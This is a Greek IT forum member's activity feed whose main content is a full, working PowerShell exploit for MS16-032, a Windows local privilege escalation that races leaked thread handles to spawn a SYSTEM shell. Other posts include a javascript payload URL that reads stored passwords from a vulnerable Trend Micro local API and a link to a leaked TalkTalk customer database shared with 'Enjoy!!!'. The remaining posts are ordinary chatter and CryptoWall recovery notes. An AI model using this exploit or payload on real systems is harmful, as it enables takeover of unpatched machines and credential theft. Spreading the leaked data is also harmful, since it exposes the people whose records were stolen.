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kavasilop

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  1. Like
    kavasilop got a reaction from Blackman in Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (Powershell)   
    To patch ειναι : https://technet.microsoft.com/en-us/library/security/ms16-032.aspx
    Για να δουμε αν εχουμε το patch : wmic qfe | find "KB3139914"
    function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==> https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- $ms16032 = @" __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| [by b33f -> @FuzzySec] "@ $ms16032 # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @() echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) { $ThreadArray += $hThread # This is what we need! } } } if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" echo "`n[?] Thread handle list:" $ThreadArray } echo "`n[*] Sniffing out privileged impersonation token.." foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken echo "`n[*] Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() } } PoC Windows 10 : 

  2. Like
    kavasilop reacted to kavag in Πρόβλημα με συνδεσιμότητα με Internet   
    Γιώργο εάν οι ενδιάμεσες συσκευές (Switches, Routers κ.λ.π.) που βρίσκονται στο εσωτερικό σου δίκτυο είναι σε καλή λειτουργική κατάσταση, πράγμα που είναι εύκολο να το ελέγξεις, τότε είναι βέβαιο οτι υπάρχει flapping στην γραμμή σου !  
  3. Like
    kavasilop got a reaction from Blackman in Create Local Admin with GPO (not member of the domain)   
    "θεωρώ ότι αυτοί πρέπει να είναι ιδιαίτερα απαιτήτικοί στο κομμάτι της ασφάλειας διαφορετικά δεν θα γινόταν αποδεκτή η λύση, μιλάμε για τράπεζες και τεράστιους οργανισμούς με απίστευτες απαιτήσεις."
     
    Σαν θεωρημα καλο ειναι στην πραξη κολαει απο παντου ομως...
  4. Like
    kavasilop got a reaction from Blackman in Trendmicro fix your AV, Remote Command Execution   
    Αυτο παντος ειναι πολυ καλο 
     
     "This will get you all the encrypted passwords, for example, this will show the domain of the first encrypted password:"
    https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.exports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0].Domain)})'
  5. Like
    kavasilop got a reaction from Blackman in cryptolocker virus   
    Γιατι να μην μπορει??? Το cryptolocker δεν 8α ανοιξει το αρχειο..
  6. Like
    kavasilop got a reaction from Blackman in Trendmicro fix your AV, Remote Command Execution   
    Οσοι απο εσας εχετε Trendmicro παρακαλω διαβαστε το παρακατω αρθρο....
     
    https://code.google.com/p/google-security-research/issues/detail?id=693
  7. Like
    kavasilop got a reaction from Blackman in TALK TALK leaked Database   
    Πριν λίγο καιρό η TALK TALK στην αγγλία έπεσε θύμα hackers...Και όπως γίνετε σε αυτές τις περιπτωσεις η database γίνετε leak κάποια στιγμή....
     
    http://siph0n.in/exploits.php?id=4366
     
    Enjoy!!!
  8. Like
    kavasilop got a reaction from Blackman in Windows 10 hybrid shutdown???   
    μαλλον φιλε θα θύμωσε που του περασες τα 10.... :P
  9. Like
    kavasilop got a reaction from Blackman in CryptoWall Malware   
    Sorry gia ta greeklish...sou postaro kapoia apo ta notes pou exo kratisi sxetika...Exo para ma para poli kairo na asxoli8o allla isos se boi8isoun...
     
    The malware deletes the Shadow copies so the reverting Restore points. (http://nabzsoftware.com/types-of-threats/cryptowall-3-0 and http://blog.trendmicro.com/trendlabs-security-intelligence/cryptowall-3-0-ransomware-partners-with-fareit-spyware/ ) sites offers an recovery guide – (http://malwaretips.com/blogs/remove-cryptowall-3-0-virus/ and http://www.pcrisk.com/removal-guides/7844-cryptowall-virus ) nice analysis of the malware – (http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/ )
    “It turns out that some of the key servers used by the Cryptolocker scammers had been intercepted by the authorities, and they managed to capture enough information to allow them to decrypt the documents of anyone whose computer had been affected. So, if your PC was affected by Cryptlocker, or you know someone whose machine was, head to https://www.decryptcryptolocker.com/ and upload one of your encrypted files.  This will allow the site to determine the code for unlocking all of the files on the affected PC.  Full details are on the site.” (http://www.techsupportalert.com/content/cryptolocker-encryption-cracked-how-get-your-files-back.htm)
    Auta exo stis simeiosis mou...
     
    /Kyprianos
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